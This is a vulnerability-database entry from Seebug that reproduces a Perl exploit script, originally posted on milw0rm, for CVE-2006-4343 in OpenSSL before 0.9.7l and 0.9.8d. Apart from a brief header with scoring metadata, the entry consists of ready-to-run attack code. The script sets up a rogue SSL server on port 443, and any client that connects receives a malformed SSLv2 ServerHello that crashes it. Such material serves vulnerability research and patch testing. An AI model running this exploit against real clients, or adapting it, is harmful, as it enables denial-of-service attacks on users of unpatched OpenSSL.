Lucene search

K
seebugRootSSV:65057
HistoryJul 01, 2014 - 12:00 a.m.

OpenSSL < 0.9.7l / 0.9.8d - SSLv2 Client Crash Exploit

2014-07-0100:00:00
Root
www.seebug.org
38

0.016 Low

EPSS

Percentile

85.8%

No description provided by source.


                                                #!/usr/bin/perl
# Copyright(c) Beyond Security
# Written by Noam Rathaus - based on beSTORM&#39;s SSL Server module
# Exploits vulnerability CVE-2006-4343 - where the SSL client can be crashed by special SSL serverhello response

use strict;
use IO::Socket;
my $sock = new IO::Socket::INET ( LocalPort =&#62; &#39;443&#39;, Proto =&#62; &#39;tcp&#39;, Listen =&#62; 1, Reuse =&#62; 1, );
die &#34;Could not create socket: $!\n&#34; unless $sock;
 
my $TIMEOUT = 0.5;
my $line;
my $new_sock;
srand(time());

while ( $new_sock = $sock-&#62;accept() )
{
 printf (&#34;new connection\n&#34;);
 my $rin;
 my $line;
 my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) && recv($new_sock, $line, 1024, undef);

 my $ciphers = &#34;&#34;;
 my $ciphers_length = pack(&#39;n&#39;, length($ciphers));

 my $certificate = &#34;&#34;;
 my $certificate_length = pack(&#39;n&#39;, length($certificate));

 my $packet_sslv2 =
&#34;\x04&#34;.
&#34;\x01&#34;. # Hit (default 0x01)

&#34;\x00&#34;. # No certificate

&#34;\x00\x02&#34;.
$certificate_length.
$ciphers_length.
&#34;\x00\x10&#34;.
# Certificate
$certificate.
# Done
# Ciphers
$ciphers.
# Done
&#34;\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9&#34;;

 my $ssl_length = pack(&#39;n&#39;, length($packet_sslv2) + 0x8000);
 $packet_sslv2 = $ssl_length . $packet_sslv2;

 print $new_sock $packet_sslv2;

 close($new_sock);
}

# milw0rm.com [2007-12-23]